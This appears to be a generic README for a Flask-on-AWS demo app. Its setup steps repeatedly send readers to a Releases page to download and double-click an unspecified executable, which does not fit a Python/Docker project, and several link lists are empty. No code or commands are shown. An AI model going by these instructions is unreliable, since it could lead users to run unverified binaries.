Welcome to the aws-mini-web-app! This application helps you effortlessly run a Flask web app on AWS. It leverages powerful features like Docker, DynamoDB, and S3. Whether youβre exploring cloud technology or just need a simple web app, this is for you!
To get started, you will need to download the application from our Releases page. Follow the steps below.
-
Visit the Release Page
- Click this link to visit the Releases page: Visit Releases Page.
- You will find different versions of the application there.
-
Select the Latest Version
- Look for the most recent version marked "Latest".
- Versions are often labeled with numbers like v1.0, v1.1, etc.
-
Download the Application
- Once you find the latest version, click on the appropriate file for your operating system.
- Wait for the file to download completely.
-
Run the Application
- After the download, locate the file on your computer.
- Double-click the file to run the application.
- Follow any on-screen instructions to complete the setup.
Before installing, ensure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Python: Version 3.6 or higher
- Docker: Installed on your machine
If you do not have Python or Docker, please follow these links to download them:
The aws-mini-web-app comes packed with various features:
- Flask Framework: Provides a simple way to create web applications.
- AWS Deployment: Automatically deploy your application on AWS.
- Docker Support: Simplifies the setup process by using containers.
- Database Integration: Utilize DynamoDB to store and manage data.
- File Storage: Leverage S3 for efficient file management.
To fully utilize the aws-mini-web-app, you will need to set up your AWS account. Here's what you need to do:
-
Create an AWS Account
- Go to AWS Registration.
-
Set Up Required Services
- You need to enable the following services for the application to work:
- Elastic Container Registry (ECR)
- Elastic Compute Cloud (EC2)
- Application Load Balancer (ALB)
- DynamoDB
- S3
- You need to enable the following services for the application to work:
-
Configure Auto Scaling
- Set up Auto Scaling to manage the applicationβs traffic efficiently.
- This allows the app to automatically adjust the number of running instances based on demand.
If you encounter any issues while running the app, here are some solutions:
- Cannot Connect to AWS: Ensure your AWS services are properly set up and credentials are accurate.
- Docker Issues: Make sure Docker is running on your system. Restart it if necessary.
- Python Errors: Verify that your Python version is compatible with the application.
If you need further help, please explore our documentation or reach out via the GitHub Issues page linked here: Report Issues.
We welcome contributions! If you wish to improve this application or document, feel free to fork the repo and submit a pull request.
Here are some useful links:
To get the software, visit the Releases page again: Download from Releases. Follow the steps mentioned above.
Thank you for using aws-mini-web-app!